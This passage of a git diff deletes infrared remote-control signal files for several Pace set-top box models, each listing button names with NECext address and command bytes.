-# -name: 5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2D 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: A>B -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir deleted file mode 100644 index bc90253cf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0C 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 19 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir deleted file mode 100644 index a6311623a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 09 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0A 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0B 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0C 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 21 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 28 00 00 00 -# -name: Browse -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 2F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 46 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 4F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 51 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 52 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 53 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 56 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 57 00 00 00 -# -name: Interactive -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 61 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6A 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6E 00 00 00 -# -name: Internet -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6F 00 00 00 -# -name: KEY_EMAIL -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 70 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 71 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir deleted file mode 100644 index 3f5935c55..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 09 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0A 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0C 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0F 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 10 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 21 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 28 00 00 00 -# -name: browse -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 2F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 46 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 4F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 51 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 52 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 53 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 56 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 57 00 00 00 -# -name: interactive -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 61 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6A 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6E 00 00 00 -# -name: internet -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6F 00 00 00 -# -name: KEY_EMAIL -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 70 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 71 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir deleted file mode 100644 index 396ad0789..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: one -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 00 00 00 00 -# -name: four -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 00 00 00 00 -# -name: five -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 00 00 00 00 -# -name: zero -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 00 00 00 00 -# -name: vol+ -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 00 00 00 00 -# -name: vol- -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 00 00 00 00 -# -name: setup -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 00 00 00 00 -# -name: two -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 01 00 00 00 -# -name: six -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 01 00 00 00 -# -name: three -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 02 00 00 00 -# -name: seven -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 02 00 00 00 -# -name: eight -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 04 00 00 00 -# -name: nine -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 04 00 00 00 -# -name: up -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 04 00 00 00 -# -name: down -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 04 00 00 00 -# -name: left -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 05 00 00 00 -# -name: right -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 06 00 00 00 -# -name: mute -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 08 00 00 00 -# -name: select -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 08 00 00 00 -# -name: i -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 0A 00 00 00 -# -name: ch+ -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 10 00 00 00 -# -name: ch- -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 10 00 00 00 -# -name: red -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 18 00 00 00 -# -name: green -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 19 00 00 00 -# -name: yellow -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 1A 00 00 00 -# -name: blue -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 20 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 24 00 00 00 -# -name: help -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 40 00 00 00 -# -name: back -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 42 00 00 00 -# -name: foxtel -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 49 00 00 00 -# -name: boxoffice -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 80 00 00 00 -# -name: tvguide -type: parsed -protocol: NECext -address: 10 50 00 00 -command: 88 00 00 00 -# -name: active -type: parsed -protocol: NECext -address: 10 50 00 00 -command: A8 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir deleted file mode 100644 index 4be9a3f83..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 20 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 21 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 22 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 23 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 24 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 25 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 26 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 27 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 28 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 29 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 2A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 2B 00 00 00 -# -name: ? -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 2C 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 2D 00 00 00 -# -name: KEY_G -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 2E 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 30 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 31 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 32 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 33 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 34 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 35 00 00 00 -# -name: BOX -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 36 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 37 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 38 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 39 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 3A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 3B 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 3C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 3D 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 3E 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir deleted file mode 100644 index 5829a2cd9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: power -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: ch-up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: ch-down -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: setup -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: down -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: left -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: right -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: select -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: red -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: green -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: yellow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6F 00 00 00 -# -name: blue -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 70 00 00 00 -# -name: boxoffice -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7D 00 00 00 -# -name: active -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7E 00 00 00 -# -name: foxtel -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 80 00 00 00 -# -name: help -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 81 00 00 00 -# -name: back -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 83 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 84 00 00 00 -# -name: i -type: parsed -protocol: NECext -address: 00 00 00 00 -command: CB 00 00 00 -# -name: tvguide -type: parsed -protocol: NECext -address: 00 00 00 00 -command: CC 00 00 00 -# -name: planner -type: parsed -protocol: NECext -address: 00 00 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_PACE-RC-10/132,60.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_PACE-RC-10/132,60.ir deleted file mode 100644 index a120561a5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_PACE-RC-10/132,60.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 00 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 01 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 02 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 03 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 05 00 00 00 -# -name: TV_SAT -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 06 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 08 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 09 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 0A 00 00 00 -# -name: KEY_F -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 0B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 0C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 0D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 0E 00 00 00 -# -name: CHAN_RIGHT -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 0F 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 10 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 11 00 00 00 -# -name: CHAN_LEFT -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 12 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 14 00 00 00 -# -name: NORM -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 15 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 16 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 18 00 00 00 -# -name: LEVEL -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 19 00 00 00 -# -name: SHAPE -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 1C 00 00 00 -# -name: EFFECT -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 1D 00 00 00 -# -name: DOLBY -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir deleted file mode 100644 index 7ea20091e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir +++ /dev/null @@ -1,350 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: EFFECT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: EFFECT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: SHAPE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: SHAPE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: RADIO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: RADIO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: CHAN+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: CHAN+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: LEVEL -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: LEVEL -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: TV/SAT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: TV/SAT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: NORM -type: parsed -protocol: NECext 